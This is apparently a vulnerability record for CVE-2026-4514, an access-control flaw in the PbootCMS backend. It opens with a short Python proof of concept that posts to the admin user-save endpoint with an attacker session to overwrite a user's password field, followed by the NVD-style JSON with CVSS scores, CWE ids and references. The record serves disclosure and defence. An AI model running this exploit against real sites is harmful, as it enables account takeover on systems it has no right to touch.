CVE-2026-4514

import requests # POC for CVE-2026-4514 # Target: PbootCMS <= 3.2.12 url = "http://target.com/admin.php?p=/System/User/save" cookies = {"PbootCMS": "attacker_session_id"} # Malicious payload manipulating the 'Field' argument payload = { "Field": "password", # Manipulated argument "value": "new_hacked_password" } response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful: Field potentially modified.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-4514", "sourceIdentifier": "[email protected]", "published": "2026-03-21T11:17:06.723", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in PbootCMS up to 3.2.12. Affected by this issue is some unknown functionality of the file apps/admin/controller/system/UserController.php of the component Backend. Executing a manipulation of the argument Field can lead to improper access controls. The attack may be performed from remote. The exploit has been published and may be used."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en PbootCMS hasta la versión 3.2.12. Se ve afectada por este problema alguna funcionalidad desconocida del archivo apps/admin/controller/system/UserController.PHP del componente Backend. La ejecución de una manipulación del argumento Field puede conducir a controles de acceso inadecuados. El ataque puede realizarse de forma remota. El exploit ha sido publicado y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/zzj-create/cvetest/blob/main/VULN-06_BACKEND_ARBITRARY_FIELD_MODIFICATION_REPORT_EN.md#vuln-06-pbootcms-3212-backend-arbitrary-field-modification", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352079", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352079", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.773907", "source": "[email protected]"}]}}